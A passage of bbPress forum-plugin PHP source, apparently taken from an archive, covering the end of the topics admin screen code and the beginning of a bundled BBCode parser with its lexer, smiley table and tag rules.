			if ( ( bbp_get_trash_status_id() === $topic->post_status ) || empty( $trash_days ) ) {
				$actions['delete'] = "<a class='submitdelete' title='" . esc_attr__( 'Delete this item permanently', 'bbpress' ) . "' href='" . esc_url( get_delete_post_link( $topic->ID, '', true ) ) . "'>" . esc_html__( 'Delete Permanently', 'bbpress' ) . "</a>";
			}
		}

		// Sort & return
		return $this->sort_row_actions( $actions );
	}

	/**
	 * Sort row actions by key
	 *
	 * @since 2.6.0
	 *
	 * @param array $actions
	 *
	 * @return array
	 */
	private function sort_row_actions( $actions = array() ) {

		// Return value
		$retval = array();

		// Known row actions, in sort order
		$known_actions = $this->get_row_action_sort_order();

		// Sort known actions, and keep any unknown ones
		foreach ( $known_actions as $key ) {
			if ( isset( $actions[ $key ] ) ) {
				$retval[ $key ] = $actions[ $key ];
				unset( $actions[ $key ] );
			}
		}

		// Combine & return
		return $retval + $actions;
	}

	/**
	 * Add forum dropdown to topic and reply list table filters
	 *
	 * @since 2.0.0 bbPress (r2991)
	 *
	 * @return bool False. If post type is not topic or reply
	 */
	public function filter_dropdown() {

		// Get which forum is selected
		$selected = ! empty( $_GET['bbp_forum_id'] )
			? (int) $_GET['bbp_forum_id']
			: 0;

		// Show the forums dropdown
		bbp_dropdown( array(
			'selected'  => $selected,
			'show_none' => esc_html__( 'In all forums', 'bbpress' )
		) );
	}

	/**
	 * Add "Empty Spam" button for moderators
	 *
	 * @since 2.6.0 bbPress (r6791)
	 */
	public function filter_empty_spam() {

		// Bail if not viewing spam
		if ( empty( $_GET['post_status'] ) || ( bbp_get_spam_status_id() !== $_GET['post_status'] ) && current_user_can( 'moderate' ) ) {
			return;
		}

		?>

		<div class="alignleft actions"><?php

			// Output the nonce & button
			wp_nonce_field( 'bulk-destroy', '_destroy_nonce' );
			submit_button(
				esc_attr__( 'Empty Spam', 'bbpress' ),
				'button-secondary apply',
				'delete_all',
				false
			);

		?></div><?php
	}

	/**
	 * Adjust the request query and include the forum id
	 *
	 * @since 2.0.0 bbPress (r2991)
	 *
	 * @param array $query_vars Query variables from {@link WP_Query}
	 * @return array Processed Query Vars
	 */
	function filter_post_rows( $query_vars ) {

		// Add post_parent query_var if one is present
		if ( ! empty( $_GET['bbp_forum_id'] ) ) {
			$query_vars['meta_key']   = '_bbp_forum_id';
			$query_vars['meta_type']  = 'NUMERIC';
			$query_vars['meta_value'] = $_GET['bbp_forum_id'];
		}

		// Return manipulated query_vars
		return $query_vars;
	}

	/**
	 * Custom user feedback messages for topic post type
	 *
	 * @since 2.0.0 bbPress (r3080)
	 *
	 * @global int $post_ID
	 *
	 * @param array $messages
	 *
	 * @return array
	 */
	public function updated_messages( $messages ) {
		global $post_ID;

		// URL for the current topic
		$topic_url = bbp_get_topic_permalink( $post_ID );

		// Current topic's post_date
		$post_date = bbp_get_global_post_field( 'post_date', 'raw' );

		// Messages array
		$messages[ $this->post_type ] = array(
			0 =>  '', // Left empty on purpose

			// Updated
			1 =>  sprintf(
				'%1$s <a href="%2$s">%3$s</a>',
				esc_html__( 'Topic updated.', 'bbpress' ),
				$topic_url,
				esc_html__( 'View topic', 'bbpress' )
			),

			// Custom field updated
			2 => esc_html__( 'Custom field updated.', 'bbpress' ),

			// Custom field deleted
			3 => esc_html__( 'Custom field deleted.', 'bbpress' ),

			// Topic updated
			4 => esc_html__( 'Topic updated.', 'bbpress' ),

			// Restored from revision
			// translators: %s: date and time of the revision
			5 => isset( $_GET['revision'] )
					? sprintf( esc_html__( 'Topic restored to revision from %s', 'bbpress' ), wp_post_revision_title( (int) $_GET['revision'], false ) )
					: false,

			// Topic created
			6 => sprintf(
				'%1$s <a href="%2$s">%3$s</a>',
				esc_html__( 'Topic created.', 'bbpress' ),
				$topic_url,
				esc_html__( 'View topic', 'bbpress' )
			),

			// Topic saved
			7 => esc_html__( 'Topic saved.', 'bbpress' ),

			// Topic submitted
			8 => sprintf(
				'%1$s <a href="%2$s" target="_blank">%3$s</a>',
				esc_html__( 'Topic submitted.', 'bbpress' ),
				esc_url( add_query_arg( 'preview', 'true', $topic_url ) ),
				esc_html__( 'Preview topic', 'bbpress' )
			),

			// Topic scheduled
			9 => sprintf(
				'%1$s <a target="_blank" href="%2$s">%3$s</a>',
				sprintf(
					esc_html__( 'Topic scheduled for: %s.', 'bbpress' ),
					// translators: Publish box date format, see http://php.net/date
					'<strong>' . date_i18n( __( 'M j, Y @ G:i', 'bbpress' ), strtotime( $post_date ) ) . '</strong>'
				),
				$topic_url,
				esc_html__( 'Preview topic', 'bbpress' )
			),

			// Topic draft updated
			10 => sprintf(
				'%1$s <a href="%2$s" target="_blank">%3$s</a>',
				esc_html__( 'Topic draft updated.', 'bbpress' ),
				esc_url( add_query_arg( 'preview', 'true', $topic_url ) ),
				esc_html__( 'Preview topic', 'bbpress' )
			),
		);

		return $messages;
	}
}
endif; // class_exists check

/**
 * Setup bbPress Topics Admin
 *
 * This is currently here to make hooking and unhooking of the admin UI easy.
 * It could use dependency injection in the future, but for now this is easier.
 *
 * @since 2.0.0 bbPress (r2596)
 *
 * @param WP_Screen $current_screen Current screen object
 */
function bbp_admin_topics( $current_screen ) {

	// Bail if not a forum screen
	if ( empty( $current_screen->post_type ) || ( bbp_get_topic_post_type() !== $current_screen->post_type ) ) {
		return;
	}

	// Init the topics admin
	bbp_admin()->topics = new BBP_Topics_Admin();
}
includes/admin/parser.php000066600000175637151771460310011503 0ustar00<?php

/**
 * bbPress BBCode Parser
 *
 * @package bbPress
 * @subpackage Administration
 */

/*
This is a compressed copy of NBBC. Do not edit!

Copyright (c) 2008-9, the Phantom Inker.  All rights reserved.
Portions Copyright (c) 2004-2008 AddedBytes.com

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:

* Redistributions of source code must retain the above copyright
  notice, this list of conditions and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright
  notice, this list of conditions and the following disclaimer in
  the documentation and/or other materials provided with the
  distribution.

THIS SOFTWARE IS PROVIDED BY THE PHANTOM INKER "AS IS" AND ANY EXPRESS
OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

define("BBCODE_VERSION", "1.4.5");
define("BBCODE_RELEASE", "2010-09-17");
define("BBCODE_VERBATIM", 2);
define("BBCODE_REQUIRED", 1);
define("BBCODE_OPTIONAL", 0);
define("BBCODE_PROHIBIT", -1);
define("BBCODE_CHECK", 1);
define("BBCODE_OUTPUT", 2);
define("BBCODE_ENDTAG", 5);
define("BBCODE_TAG", 4);
define("BBCODE_TEXT", 3);
define("BBCODE_NL", 2);
define("BBCODE_WS", 1);
define("BBCODE_EOI", 0);
define("BBCODE_LEXSTATE_TEXT", 0);
define("BBCODE_LEXSTATE_TAG", 1);
define("BBCODE_MODE_SIMPLE", 0);
define("BBCODE_MODE_CALLBACK", 1);
define("BBCODE_MODE_INTERNAL", 2);
define("BBCODE_MODE_LIBRARY", 3);
define("BBCODE_MODE_ENHANCED", 4);
define("BBCODE_STACK_TOKEN", 0);
define("BBCODE_STACK_TEXT", 1);
define("BBCODE_STACK_TAG", 2);
define("BBCODE_STACK_CLASS", 3);
if (!function_exists('str_split')) {
function str_split($string, $split_length = 1) {
$array = explode("\r\n", chunk_split($string, $split_length));
array_pop($array);
return $array;
}
}
$BBCode_SourceDir = dirname(__FILE__);

class BBCodeLexer {
var $token;
var $text;
var $tag;
var $state;
var $input;
var $ptr;
var $unget;
var $verbatim;
var $debug;
var $tagmarker;
var $end_tagmarker;
var $pat_main;
var $pat_comment;
var $pat_comment2;
var $pat_wiki;
function __construct($string, $tagmarker = '[') {
$regex_beginmarkers = Array( '[' => '\[', '<' => '<', '{' => '\{', '(' => '\(' );
$regex_endmarkers = Array( '[' => '\]', '<' => '>', '{' => '\}', '(' => '\)' );
$endmarkers = Array( '[' => ']', '<' => '>', '{' => '}', '(' => ')' );
if (!isset($regex_endmarkers[$tagmarker])) $tagmarker = '[';
$e = $regex_endmarkers[$tagmarker];
$b = $regex_beginmarkers[$tagmarker];
$this->tagmarker = $tagmarker;
$this->end_tagmarker = $endmarkers[$tagmarker];
$this->pat_main = "/( "
. "{$b}"
. "(?! -- | ' | !-- | {$b}{$b} )"
. "(?: [^\\n\\r{$b}{$e}] | \\\" [^\\\"\\n\\r]* \\\" | \\' [^\\'\\n\\r]* \\' )*"
. "{$e}"
. "| {$b}{$b} (?: [^{$e}\\r\\n] | {$e}[^{$e}\\r\\n] )* {$e}{$e}"
. "| {$b} (?: -- | ' ) (?: [^{$e}\\n\\r]* ) {$e}"
. "| {$b}!-- (?: [^-] | -[^-] | --[^{$e}] )* --{$e}"
. "| -----+"
. "| \\x0D\\x0A | \\x0A\\x0D | \\x0D | \\x0A"
. "| [\\x00-\\x09\\x0B-\\x0C\\x0E-\\x20]+(?=[\\x0D\\x0A{$b}]|-----|$)"
. "| (?<=[\\x0D\\x0A{$e}]|-----|^)[\\x00-\\x09\\x0B-\\x0C\\x0E-\\x20]+"
. " )/Dx";
$this->input = preg_split($this->pat_main, $string, -1, PREG_SPLIT_DELIM_CAPTURE);
$this->pat_comment = "/^ {$b} (?: -- | ' ) /Dx";
$this->pat_comment2 = "/^ {$b}!-- (?: [^-] | -[^-] | --[^{$e}] )* --{$e} $/Dx";
$this->pat_wiki = "/^ {$b}{$b} ([^\\|]*) (?:\\|(.*))? {$e}{$e} $/Dx";
$this->ptr = 0;
$this->unget = false;
$this->state = BBCODE_LEXSTATE_TEXT;
$this->verbatim = false;
$this->token = BBCODE_EOI;
$this->tag = false;
$this->text = "";
}
function BBCodeLexer($string, $tagmarker = '[') {
$this->__construct($string, $tagmarker);
}
function GuessTextLength() {
$length = 0;
$ptr = 0;
$state = BBCODE_LEXSTATE_TEXT;
while ($ptr < count($this->input)) {
$text = $this->input[$ptr++];
if ($state == BBCODE_LEXSTATE_TEXT) {
$state = BBCODE_LEXSTATE_TAG;
$length += strlen($text);
}
else {
switch (ord(substr($this->text, 0, 1))) {
case 10:
case 13:
$state = BBCODE_LEXSTATE_TEXT;
$length++;
break;
default:
$state = BBCODE_LEXSTATE_TEXT;
$length += strlen($text);
break;
case 40:
case 60:
case 91:
case 123:
$state = BBCODE_LEXSTATE_TEXT;
break;
}
}
}
return $length;
}
function NextToken() {
if ($this->unget) {
$this->unget = false;
return $this->token;
}
while (true) {
if ($this->ptr >= count($this->input)) {
$this->text = "";
$this->tag = false;
return $this->token = BBCODE_EOI;
}
$this->text = preg_replace("/[\\x00-\\x08\\x0B-\\x0C\\x0E-\\x1F]/", "",
$this->input[$this->ptr++]);
if ($this->verbatim) {
$this->tag = false;
if ($this->state == BBCODE_LEXSTATE_TEXT) {
$this->state = BBCODE_LEXSTATE_TAG;
$token_type = BBCODE_TEXT;
}
else {
$this->state = BBCODE_LEXSTATE_TEXT;
switch (ord(substr($this->text, 0, 1))) {
case 10:
case 13:
$token_type = BBCODE_NL;
break;
default:
$token_type = BBCODE_WS;
break;
case 45:
case 40:
case 60:
case 91:
case 123:
$token_type = BBCODE_TEXT;
break;
}
}
if (strlen($this->text) > 0)
return $this->token = $token_type;
}
else if ($this->state == BBCODE_LEXSTATE_TEXT) {
$this->state = BBCODE_LEXSTATE_TAG;
$this->tag = false;
if (strlen($this->text) > 0)
return $this->token = BBCODE_TEXT;
}
else {
switch (ord(substr($this->text, 0, 1))) {
case 10:
case 13:
$this->tag = false;
$this->state = BBCODE_LEXSTATE_TEXT;
return $this->token = BBCODE_NL;
case 45:
if (preg_match("/^-----/", $this->text)) {
$this->tag = Array('_name' => 'rule', '_endtag' => false, '_default' => '');
$this->state = BBCODE_LEXSTATE_TEXT;
return $this->token = BBCODE_TAG;
}
else {
$this->tag = false;
$this->state = BBCODE_LEXSTATE_TEXT;
if (strlen($this->text) > 0)
return $this->token = BBCODE_TEXT;
continue 2;
}
default:
$this->tag = false;
$this->state = BBCODE_LEXSTATE_TEXT;
return $this->token = BBCODE_WS;
case 40:
case 60:
case 91:
case 123:
if (preg_match($this->pat_comment, $this->text)) {
$this->state = BBCODE_LEXSTATE_TEXT;
continue 2;
}
if (preg_match($this->pat_comment2, $this->text)) {
$this->state = BBCODE_LEXSTATE_TEXT;
continue 2;
}
if (preg_match($this->pat_wiki, $this->text, $matches)) {
$this->tag = Array('_name' => 'wiki', '_endtag' => false,
'_default' => @$matches[1], 'title' => @$matches[2]);
$this->state = BBCODE_LEXSTATE_TEXT;
return $this->token = BBCODE_TAG;
}
$this->tag = $this->Internal_DecodeTag($this->text);
$this->state = BBCODE_LEXSTATE_TEXT;
return $this->token = ($this->tag['_end'] ? BBCODE_ENDTAG : BBCODE_TAG);
}
}
}
}
function UngetToken() {
if ($this->token !== BBCODE_EOI)
$this->unget = true;
}
function PeekToken() {
$result = $this->NextToken();
if ($this->token !== BBCODE_EOI)
$this->unget = true;
return $result;
}
function SaveState() {
return Array(
'token' => $this->token,
'text' => $this->text,
'tag' => $this->tag,
'state' => $this->state,
'input' => $this->input,
'ptr' => $this->ptr,
'unget' => $this->unget,
'verbatim' => $this->verbatim
);
}
function RestoreState($state) {
if (!is_array($state)) return;
$this->token = @$state['token'];
$this->text = @$state['text'];
$this->tag = @$state['tag'];
$this->state = @$state['state'];
$this->input = @$state['input'];
$this->ptr = @$state['ptr'];
$this->unget = @$state['unget'];
$this->verbatim = @$state['verbatim'];
}
function Internal_StripQuotes($string) {
if (preg_match("/^\\\"(.*)\\\"$/", $string, $matches))
return $matches[1];
else if (preg_match("/^\\'(.*)\\'$/", $string, $matches))
return $matches[1];
else return $string;
}
function Internal_ClassifyPiece($ptr, $pieces) {
if ($ptr >= count($pieces)) return -1;
$piece = $pieces[$ptr];
if ($piece == '=') return '=';
else if (preg_match("/^[\\'\\\"]/", $piece)) return '"';
else if (preg_match("/^[\\x00-\\x20]+$/", $piece)) return ' ';
else return 'A';
}
function Internal_DecodeTag($tag) {
$result = Array('_tag' => $tag, '_endtag' => '', '_name' => '',
'_hasend' => false, '_end' => false, '_default' => false);
$tag = substr($tag, 1, strlen($tag)-2);
$ch = ord(substr($tag, 0, 1));
if ($ch >= 0 && $ch <= 32) return $result;
$pieces = preg_split("/(\\\"[^\\\"]+\\\"|\\'[^\\']+\\'|=|[\\x00-\\x20]+)/",
$tag, -1, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);
$ptr = 0;
if (count($pieces) < 1) return $result;
if (@substr($pieces[$ptr], 0, 1) == '/') {
$result['_name'] = strtolower(substr($pieces[$ptr++], 1));
$result['_end'] = true;
}
else {
$result['_name'] = strtolower($pieces[$ptr++]);
$result['_end'] = false;
}
while (($type = $this->Internal_ClassifyPiece($ptr, $pieces)) == ' ')
$ptr++;
$params = Array();
if ($type != '=') {
$result['_default'] = false;
$params[] = Array('key' => '', 'value' => '');
}
else {
$ptr++;
while (($type = $this->Internal_ClassifyPiece($ptr, $pieces)) == ' ')
$ptr++;
if ($type == "\"")
$value = $this->Internal_StripQuotes($pieces[$ptr++]);
else {
$after_space = false;
$start = $ptr;
while (($type = $this->Internal_ClassifyPiece($ptr, $pieces)) != -1) {
if ($type == ' ') $after_space = true;
if ($type == '=' && $after_space) break;
$ptr++;
}
if ($type == -1) $ptr--;
if ($type == '=') {
$ptr--;
while ($ptr > $start && $this->Internal_ClassifyPiece($ptr, $pieces) == ' ')
$ptr--;
while ($ptr > $start && $this->Internal_ClassifyPiece($ptr, $pieces) != ' ')
$ptr--;
}
$value = "";
for (; $start <= $ptr; $start++) {
if ($this->Internal_ClassifyPiece($start, $pieces) == ' ')
$value .= " ";
else $value .= $this->Internal_StripQuotes($pieces[$start]);
}
$value = trim($value);
$ptr++;
}
$result['_default'] = $value;
$params[] = Array('key' => '', 'value' => $value);
}
while (($type = $this->Internal_ClassifyPiece($ptr, $pieces)) != -1) {
while ($type == ' ') {
$ptr++;
$type = $this->Internal_ClassifyPiece($ptr, $pieces);
}
if ($type == 'A' || $type == '"')
$key = strtolower($this->Internal_StripQuotes(@$pieces[$ptr++]));
else if ($type == '=') {
$ptr++;
continue;
}
else if ($type == -1) break;
while (($type = $this->Internal_ClassifyPiece($ptr, $pieces)) == ' ')
$ptr++;
if ($type != '=')
$value = $this->Internal_StripQuotes($key);
else {
$ptr++;
while (($type = $this->Internal_ClassifyPiece($ptr, $pieces)) == ' ')
$ptr++;
if ($type == '"') {
$value = $this->Internal_StripQuotes($pieces[$ptr++]);
}
else if ($type != -1) {
$value = $pieces[$ptr++];
while (($type = $this->Internal_ClassifyPiece($ptr, $pieces)) != -1
&& $type != ' ')
$value .= $pieces[$ptr++];
}
else $value = "";
}
if (substr($key, 0, 1) != '_')
$result[$key] = $value;
$params[] = Array('key' => $key, 'value' => $value);
}
$result['_params'] = $params;
return $result;
}
}

class BBCodeLibrary {
var $default_smileys = Array(
':)' => 'smile.gif', ':-)' => 'smile.gif',
'=)' => 'smile.gif', '=-)' => 'smile.gif',
':(' => 'frown.gif', ':-(' => 'frown.gif',
'=(' => 'frown.gif', '=-(' => 'frown.gif',
':D' => 'bigsmile.gif', ':-D' => 'bigsmile.gif',
'=D' => 'bigsmile.gif', '=-D' => 'bigsmile.gif',
'>:('=> 'angry.gif', '>:-('=> 'angry.gif',
'>=('=> 'angry.gif', '>=-('=> 'angry.gif',
'D:' => 'angry.gif', 'D-:' => 'angry.gif',
'D=' => 'angry.gif', 'D-=' => 'angry.gif',
'>:)'=> 'evil.gif', '>:-)'=> 'evil.gif',
'>=)'=> 'evil.gif', '>=-)'=> 'evil.gif',
'>:D'=> 'evil.gif', '>:-D'=> 'evil.gif',
'>=D'=> 'evil.gif', '>=-D'=> 'evil.gif',
'>;)'=> 'sneaky.gif', '>;-)'=> 'sneaky.gif',
'>;D'=> 'sneaky.gif', '>;-D'=> 'sneaky.gif',
'O:)' => 'saint.gif', 'O:-)' => 'saint.gif',
'O=)' => 'saint.gif', 'O=-)' => 'saint.gif',
':O' => 'surprise.gif', ':-O' => 'surprise.gif',
'=O' => 'surprise.gif', '=-O' => 'surprise.gif',
':?' => 'confuse.gif', ':-?' => 'confuse.gif',
'=?' => 'confuse.gif', '=-?' => 'confuse.gif',
':s' => 'worry.gif', ':-S' => 'worry.gif',
'=s' => 'worry.gif', '=-S' => 'worry.gif',
':|' => 'neutral.gif', ':-|' => 'neutral.gif',
'=|' => 'neutral.gif', '=-|' => 'neutral.gif',
':I' => 'neutral.gif', ':-I' => 'neutral.gif',
'=I' => 'neutral.gif', '=-I' => 'neutral.gif',
':/' => 'irritated.gif', ':-/' => 'irritated.gif',
'=/' => 'irritated.gif', '=-/' => 'irritated.gif',
':\\' => 'irritated.gif', ':-\\' => 'irritated.gif',
'=\\' => 'irritated.gif', '=-\\' => 'irritated.gif',
':P' => 'tongue.gif', ':-P' => 'tongue.gif',
'=P' => 'tongue.gif', '=-P' => 'tongue.gif',
'X-P' => 'tongue.gif',
'8)' => 'bigeyes.gif', '8-)' => 'bigeyes.gif',
'B)' => 'cool.gif', 'B-)' => 'cool.gif',
';)' => 'wink.gif', ';-)' => 'wink.gif',
';D' => 'bigwink.gif', ';-D' => 'bigwink.gif',
'^_^'=> 'anime.gif', '^^;' => 'sweatdrop.gif',
'>_>'=> 'lookright.gif', '>.>' => 'lookright.gif',
'<_<'=> 'lookleft.gif', '<.<' => 'lookleft.gif',
'XD' => 'laugh.gif', 'X-D' => 'laugh.gif',
';D' => 'bigwink.gif', ';-D' => 'bigwink.gif',
':3' => 'smile3.gif', ':-3' => 'smile3.gif',
'=3' => 'smile3.gif', '=-3' => 'smile3.gif',
';3' => 'wink3.gif', ';-3' => 'wink3.gif',
'<g>' => 'teeth.gif', '<G>' => 'teeth.gif',
'o.O' => 'boggle.gif', 'O.o' => 'boggle.gif',
':blue:' => 'blue.gif',
':zzz:' => 'sleepy.gif',
'<3' => 'heart.gif',
':star:' => 'star.gif',
);
var $default_tag_rules = Array(
'b' => Array(
'simple_start' => "<b>",
'simple_end' => "</b>",
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
'plain_start' => "<b>",
'plain_end' => "</b>",
),
'i' => Array(
'simple_start' => "<i>",
'simple_end' => "</i>",
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
'plain_start' => "<i>",
'plain_end' => "</i>",
),
'u' => Array(
'simple_start' => "<u>",
'simple_end' => "</u>",
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
'plain_start' => "<u>",
'plain_end' => "</u>",
),
's' => Array(
'simple_start' => "<strike>",
'simple_end' => "</strike>",
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
'plain_start' => "<i>",
'plain_end' => "</i>",
),
'font' => Array(
'mode' => BBCODE_MODE_LIBRARY,
'allow' => Array('_default' => '/^[a-zA-Z0-9._ -]+$/'),
'method' => 'DoFont',
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
),
'color' => Array(
'mode' => BBCODE_MODE_ENHANCED,
'allow' => Array('_default' => '/^#?[a-zA-Z0-9._ -]+$/'),
'template' => '<span style="color:{$_default/tw}">{$_content/v}</span>',
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
),
'size' => Array(
'mode' => BBCODE_MODE_LIBRARY,
'allow' => Array('_default' => '/^[0-9.]+$/D'),
'method' => 'DoSize',
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
),
'sup' => Array(
'simple_start' => "<sup>",
'simple_end' => "</sup>",
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
),
'sub' => Array(
'simple_start' => "<sub>",
'simple_end' => "</sub>",
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
),
'spoiler' => Array(
'simple_start' => "<span class=\"bbcode_spoiler\">",
'simple_end' => "</span>",
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
),
'acronym' => Array(
'mode' => BBCODE_MODE_ENHANCED,
'template' => '<span class="bbcode_acronym" title="{$_default/e}">{$_content/v}</span>',
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
),
'url' => Array(
'mode' => BBCODE_MODE_LIBRARY,
'method' => 'DoURL',
'class' => 'link',
'allow_in' => Array('listitem', 'block', 'columns', 'inline'),
'content' => BBCODE_REQUIRED,
'plain_start' => "<a href=\"{\$link}\">",
'plain_end' => "</a>",
'plain_content' => Array('_content', '_default'),
'plain_link' => Array('_default', '_content'),
),
'email' => Array(
'mode' => BBCODE_MODE_LIBRARY,
'method' => 'DoEmail',
'class' => 'link',
'allow_in' => Array('listitem', 'block', 'columns', 'inline'),
'content' => BBCODE_REQUIRED,
'plain_start' => "<a href=\"mailto:{\$link}\">",
'plain_end' => "</a>",
'plain_content' => Array('_content', '_default'),
'plain_link' => Array('_default', '_content'),
),
'wiki' => Array(
'mode' => BBCODE_MODE_LIBRARY,
'method' => "DoWiki",
'class' => 'link',
'allow_in' => Array('listitem', 'block', 'columns', 'inline'),
'end_tag' => BBCODE_PROHIBIT,
'content' => BBCODE_PROHIBIT,
'plain_start' => "<b>[",
'plain_end' => "]</b>",
'plain_content' => Array('title', '_default'),
'plain_link' => Array('_default', '_content'),
),
'img' => Array(
'mode' => BBCODE_MODE_LIBRARY,
'method' => "DoImage",
'class' => 'image',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
'end_tag' => BBCODE_REQUIRED,
'content' => BBCODE_REQUIRED,
'plain_start' => "[image]",
'plain_content' => Array(),
),
'rule' => Array(
'mode' => BBCODE_MODE_LIBRARY,
'method' => "DoRule",
'class' => 'block',
'allow_in' => Array('listitem', 'block', 'columns'),
'end_tag' => BBCODE_PROHIBIT,
'content' => BBCODE_PROHIBIT,
'before_tag' => "sns",
'after_tag' => "sns",
'plain_start' => "\n-----\n",
'plain_end' => "",
'plain_content' => Array(),
),
'br' => Array(
'mode' => BBCODE_MODE_SIMPLE,
'simple_start' => "<br />\n",
'simple_end' => "",
'class' => 'inline',
'allow_in' => Array('listitem', 'block', 'columns', 'inline', 'link'),
'end_tag' => BBCODE_PROHIBIT,
'content' => BBCODE_PROHIBIT,
'before_tag' => "s",
'after_tag' => "s",
'plain_start' => "\n",
'plain_end' => "",
'plain_content' => Array(),
),
'left' => Array(
'simple_start' => "\n<div class=\"bbcode_left\" style=\"text-align:left\">\n",
'simple_end' => "\n</div>\n",
'allow_in' => Array('listitem', 'block', 'columns'),
'before_tag' => "sns",
'after_tag' => "sns",
'before_endtag' => "sns",
'after_endtag' => "sns",
'plain_start' => "\n",
'plain_end' => "\n",
),
'right' => Array(
'simple_start' => "\n<div class=\"bbcode_right\" style=\"text-align:right\">\n",
'simple_end' => "\n</div>\n",
'allow_in' => Array('listitem', 'block', 'columns'),
'before_tag' => "sns",
'after_tag' => "sns",
'before_endtag' => "sns",
'after_endtag' => "sns",
'plain_start' => "\n",
'plain_end' => "\n",
),
'center' => Array(
'simple_start' => "\n<div class=\"bbcode_center\" style=\"text-align:center\">\n",
'simple_end' => "\n</div>\n",
'allow_in' => Array('listitem', 'block', 'columns'),
'before_tag' => "sns",
'after_tag' => "sns",
'before_endtag' => "sns",
'after_endtag' => "sns",
'plain_start' => "\n",
'plain_end' => "\n",
),
'indent' => Array(
'simple_start' => "\n<div class=\"bbcode_indent\" style=\"margin-left:4em\">\n",
'simple_end' => "\n</div>\n",
'allow_in' => Array('listitem', 'block', 'columns'),
'before_tag' => "sns",
'after_tag' => "sns",
'before_endtag' => "sns",
'after_endtag' => "sns",
'plain_start' => "\n",
'plain_end' => "\n",
),
'columns' => Array(
'simple_start' => "\n<table class=\"bbcode_columns\"><tbody><tr><td class=\"bbcode_column bbcode_firstcolumn\">\n",
'simple_end' => "\n</td></tr></tbody></table>\n",
'class' => 'columns',
'allow_in' => Array('listitem', 'block', 'columns'),
'end_tag' => BBCODE_REQUIRED,
'content' => BBCODE_REQUIRED,
'before_tag' => "sns",
'after_tag' => "sns",
'before_endtag' => "sns",
'after_endtag' => "sns",
'plain_start' => "\n",
'plain_end' => "\n",
),
'nextcol' => Array(
'simple_start' => "\n</td><td class=\"bbcode_column\">\n",
'class' => 'nextcol',
'allow_in' => Array('columns'),
'end_tag' => BBCODE_PROHIBIT,
'content' => BBCODE_PROHIBIT,
'before_tag' => "sns",
'after_tag' => "sns",
'before_endtag' => "sns",
'after_endtag' => "sns",
'plain_start' => "\n",
'plain_end' => "",
),
'code' => Array(
'mode' => BBCODE_MODE_ENHANCED,
'template' => "\n<div class=\"bbcode_code\">\n<div class=\"bbcode_code_head\">Code:</div>\n<div class=\"bbcode_code_body\" style=\"white-space:pre\">{\$_content/v}</div>\n</div>\n",
'class' => 'code',
'allow_in' => Array('listitem', 'block', 'columns'),
'content' => BBCODE_VERBATIM,
'before_tag' => "sns",
'after_tag' => "sn",
'before_endtag' => "sn",
'after_endtag' => "sns",
'plain_start' => "\n<b>Code:</b>\n",
'plain_end' => "\n",
),
'quote' => Array(
'mode' => BBCODE_MODE_LIBRARY,
'method' => "DoQuote",
'allow_in' => Array('listitem', 'block', 'columns'),
'before_tag' => "sns",
'after_tag' => "sns",
'before_endtag' => "sns",
'after_endtag' => "sns",
'plain_start' => "\n<b>Quote:</b>\n",
'plain_end' => "\n",
),
'list' => Array(
'mode' => BBCODE_MODE_LIBRARY,
'method' => 'DoList',
'class' => 'list',
'allow_in' => Array('listitem', 'block', 'columns'),
'before_tag' => "sns",
'after_tag' => "sns",
'before_endtag' => "sns",
'after_endtag' => "sns",
'plain_start' => "\n",
'plain_end' => "\n",
),
'*' => Array(
'simple_start' => "<li>",
'simple_end' => "</li>\n",
'class' => 'listitem',
'allow_in' => Array('list'),
'end_tag' => BBCODE_OPTIONAL,
'before_tag' => "s",
'after_tag' => "s",
'before_endtag' => "sns",
'after_endtag' => "sns",
'plain_start' => "\n * ",
'plain_end' => "\n",
),
);
function DoURL($bbcode, $action, $name, $default, $params, $content) {
if ($action == BBCODE_CHECK) return true;
$url = is_string($default) ? $default : $bbcode->UnHTMLEncode(strip_tags($content));
if ($bbcode->IsValidURL($url)) {
if ($bbcode->debug)
print "ISVALIDURL<br />";
if ($bbcode->url_targetable !== false && isset($params['target']))
$target = " target=\"" . htmlspecialchars($params['target']) . "\"";
else $target = "";
if ($bbcode->url_target !== false)
if (!($bbcode->url_targetable == 'override' && isset($params['target'])))
$target = " target=\"" . htmlspecialchars($bbcode->url_target) . "\"";
return '<a href="' . htmlspecialchars($url) . '" class="bbcode_url"' . $target . '>' . $content . '</a>';
}
else return htmlspecialchars($params['_tag']) . $content . htmlspecialchars($params['_endtag']);
}
function DoEmail($bbcode, $action, $name, $default, $params, $content) {
if ($action == BBCODE_CHECK) return true;
